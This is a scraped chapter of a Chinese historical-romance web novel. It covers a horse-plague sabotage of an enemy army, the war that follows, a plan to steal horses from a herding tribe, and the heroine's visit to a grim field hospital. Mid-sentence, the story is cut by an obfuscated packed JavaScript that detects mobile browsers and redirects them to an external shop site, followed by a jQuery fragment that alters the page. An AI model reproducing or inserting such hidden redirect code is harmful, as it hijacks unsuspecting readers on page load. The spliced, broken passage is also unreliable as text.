待投完瘟毒,许牧舟便骑马回了军营。
映雪见许牧舟安然无恙归来,那颗一直悬着的心这才重新落回肚子里。
马场里的病马在映雪的精心救治下,病情已然得到控制,再过几日便能完全康复。映雪打算等这群马康复后,便回到城中与清平、嘉柔一同忙碌慈善堂及那群女子之事。
清平做事极为利索,到靖宁城的第二日,便在城里购置下一座三进的大宅子,用作慈善堂的场地。那群女子昨日也刚抵达靖宁城,正好在慈善堂落脚。对她们而言,换了个地方重新开始,也迎来了新生的曙光。
胡大夫见映雪频频向身边的绿绮询问慈善堂之事,显然对此事极为上心。胡大夫在心中对映雪佩服不已,不愧是侯爷重视的儿媳妇,随即对映雪笑道:“郡主今日就回城吧,马康复之事都交给老夫,有老夫在,定不会出岔子。”
映雪心中有些犹豫,治马的方子及安排皆是她与胡大夫一起商议的,如今他们的主要职责便是每日观察这群马的状态,看是否需要调整药方。她留在军营确实作用不大,但又怕万一有什么问题。
胡大夫看出映雪眼底的犹豫,道:“从军营到城里骑马也就一个时辰,就算有状况,也来得及。”
映雪想想也是,便点头同意,道:“那这里就麻烦胡大夫了,若是有状况,随时去叫我过来。”胡大夫点头答应。
映雪刚一转头,准备离去,就见许牧舟大步走了过来,对映雪柔声道:“我先送你回城,这几日你就好好留在城里。”
映雪抬眸,问道:“是要打仗了吗?”
许牧舟颔首,道:“最迟明日,赤焰就会发现战马异常,到时他们在盛怒之下,定会直接向我们宣战,你待在这里不安全。”
映雪心中多了几分担忧,但她也明白,现下自己能做的就是保全自己,起码不能让许牧舟分心。
夜晚,赤焰军营。
驯马师发现厩里的马精神有些不好,他以为是连着几日的休战,让这些战马有些倦怠了。心中盘算着,明日定要让这些战马多跑几圈。岂料,翌日醒来,却发现战马死了一半,其余的也都病倒了,驯马师顿时惊恐不已,急忙跑去向乌将军禀告。
乌将军亲自前往马厩,待看到厩里的惨状,顿时怒不可遏。抬手就掐住了驯马师的脖子,怒道:“废物。”随即把驯马师往旁边的死马上一扔。
驯马师连连咳嗽,大口喘气,努力平复被掐后的窒息感。顾不得身上的疼痛,连忙爬起跪地,瑟瑟发抖道:“将军息怒,小的不知这是怎么回事,一直尽心尽力照顾战马,从未有过丝毫懈怠。”
乌将军黑着脸,大步回到营账,召集其他将军商议。显然,他们这是被大乾以其人之道还治其人之身了。这景阳侯世子回来,果真没有好事,能不动声色地潜进他们阵营,确实有几分真本事。
果然如许牧舟所料,等映雪回城的第二日,便听到消息,赤焰向大乾开战。且这次赤焰军如同被激怒的猛兽,毫不畏惧,疯狂地发起强攻。赤焰士兵们个个士气高昂,誓要与大乾决一死战。
这次战争,双方都无作战的战马,皆是近身肉搏。赤焰士兵高大威猛,力量惊人,大乾士兵则胜在身姿灵活。而且,大乾士兵所使用的兵器乃是专门针对赤焰士兵的特点精心打造而成,能够在一定程度上与赤焰人的强大力量相抵抗。
这批兵器正是映雪之前在崖底发现的矿产所制,其设计则出自许牧舟之手。
映雪并不知晓,因这独特的兵器,皇上已然在心中给映雪记了一功,准备等映雪从凌羽出使回京后,一并给予嘉奖。
这两日,战场没有消息传来,映雪也连着几日都未能休息好。
翌日起床,清平见映雪眼底的青色,蹙眉道:“你实在放心不下,就让竹清今日送你回军营吧。这里有我和嘉柔在,不会出什么乱子。”嘉柔也极为赞同,说道:“那群姑娘们也很能干呢,有几人还识不少字。有她们帮忙,我和清平也清闲许多。”转而又道:“就是不知道大哥他们怎么样了,路途上是否顺利。”语气中带着几分担忧。
瞬间,三人的心情都低落下来。
映雪从而想到赤焰战马得了马瘟,赤焰军营定会第一时间去部落带回可用马匹,就怕大哥他们会与其撞上,心中担忧不已。
赤焰大多以部落群居,而养马的部落则会根据当下的环境迁徙,郑少臣与苏璟皓扮作商队的人顺利进入赤焰,在路上花重金请了一位赤焰的商贩,让其带着他们,花了四五日的功夫,才找到其中一个养马部落。
苏璟皓看着眼前那群在草原上驰骋的马匹,心中一阵热忱,问道,“少臣兄,现下要怎么办?直接找他们买吗?”
郑少臣摇头,“我们要的马匹数量太多,会引起他们的警惕,虽然他们重利,但万一他们察觉到什么异常,向赤焰的军队通风报信,那我们可就陷入绝境了。我们此行的目的不能暴露,必须想个周全之策。我看不如这样,你先在这儿盯着,我去附近查看一下他们部落的布局,看看有没有什么薄弱之处,再做打算。”
苏璟皓觉得郑少臣所言有理,点头道:“也好,你小心些。”
随即,苏璟皓就发觉这数千匹马仅仅只有两名放牧人看守。那些马在草原上分散得颇为松散,放牧人看起来也不是很上心,只是对其中几匹马格外留意。
苏璟皓心中疑惑不解,于是接连两天持续观察。他发现那几匹被放牧人格外关注的马是固定不变的,而且马头上有着非常醒目的特征。
苏璟皓不禁有些激动起来,赶忙去找郑少臣商量。他说道:“少臣兄,我想到一个办法,或许能让我们不花银子,就把这些马带回去。”
紧接着,苏璟皓便把自己的盗马计划详细地告知了郑少臣。郑少臣听了以后,脸上也难以掩饰激动的神情,称赞道:“此计着实巧妙,倘若能够顺利施行的话,无疑是最契合我们当下处境的办法了。”
而后,两人又针对这个具体的计划从头到尾、细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090847|146304||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
致入微地探讨了一遍,将计划中的每一个步骤、可能遇到的情况以及应对措施都考虑周全,确保万无一失。
说罢,两人立即行动。郑少臣安排一名暗卫回大乾找人接应,暗卫领命后迅速离去。
映雪也在回城的第五日收到战场的消息,这才知晓那场战争已经持续了三天三夜之久。这场战争的伤亡极为惨重,映雪想到自己的医术,回到军营或许还能帮上忙,于是便跟着传信的士兵,还带上竹清和绿绮一同前往军营。
当映雪到达军营后,她看到一个满脸胡茬、头发蓬乱得如同杂草、衣衫褴褛并且散发着浓浓汗臭味的人。
她不禁一愣,差点没认出来眼前这个狼狈不堪的人就是许牧舟。只见许牧舟的双眼布满血丝,那浓重的黑眼圈就像是被人狠狠揍了两拳似的,原本英俊潇洒的面容此时只剩下无尽的疲惫与憔悴。映雪的心里一阵难受,她从未见过许牧舟这般落魄的样子。
许牧舟看到映雪来了,眼中瞬间闪过一丝惊喜,转眼低头嗅了一下身上的味道,眉头紧蹙,然后拖着仿佛灌了铅般沉重的步伐朝着映雪缓缓走来,声音沙哑地问道:“你怎么来了?”
映雪眼中含泪,关切地问:“你有没有受伤?”
许牧舟努力挤出一丝微笑,回答道:“只是一点小伤,不碍事的。”说完便询问映雪怎么会来到这里。
映雪一脸严肃地说道:“我想去伤病营帮忙,能多救一个是一个。”
许牧舟皱起眉头,不太赞同地说:“伤兵营里的惨状你恐怕承受不了。要是想帮忙的话,你可以多制作一些金疮药啊,你之前给我带过来的那些金疮药,药效可比军中现有的药物要好得多。”
映雪有些没好气地回应道:“制药当然没问题,但是我都还没去伤兵营看过,你怎么就知道我不行呢?”
许牧舟听后轻轻笑出了声,也不再劝解,直接带着映雪朝着伤兵营走去。
在军中,算上胡大夫,共有三位军医。这三位军医面对如潮水般涌来的伤员,早已忙得不可开交,每个人都面容憔悴,眼睛里满是疲惫和焦虑,却还在强撑着为伤员们诊治。
刚踏进伤兵营,血腥腐臭之气扑鼻而来,映雪强忍不适抬眼望去。
只见简陋的营帐内,一排排简易的床铺紧密排列着,几乎没有落脚之处。床上躺着的伤兵们状况各异,惨不忍睹。
有的士兵缺了胳膊断了腿,伤口处缠着已经被血浸透的布条,血还在不断往外渗,滴落在地上汇聚成小血洼;有的士兵腹部被利器划开,肠子似乎都要流出来,整个人面色惨白如纸,嘴唇毫无血色,眼睛半睁半闭,嘴里发出微弱的痛苦呻吟声;还有的士兵头部受伤,满头满脸都是干涸和正在流淌的血液,头发被血黏成一缕一缕的,神志不清地呼喊着家乡或者战友的名字。
映雪见状,顿觉胃里一阵翻江倒海,脸色瞬间变得煞白,她赶忙用手捂住嘴,转身就往营帐外冲去,生怕自己一个忍不住就在这营帐之中呕吐出来。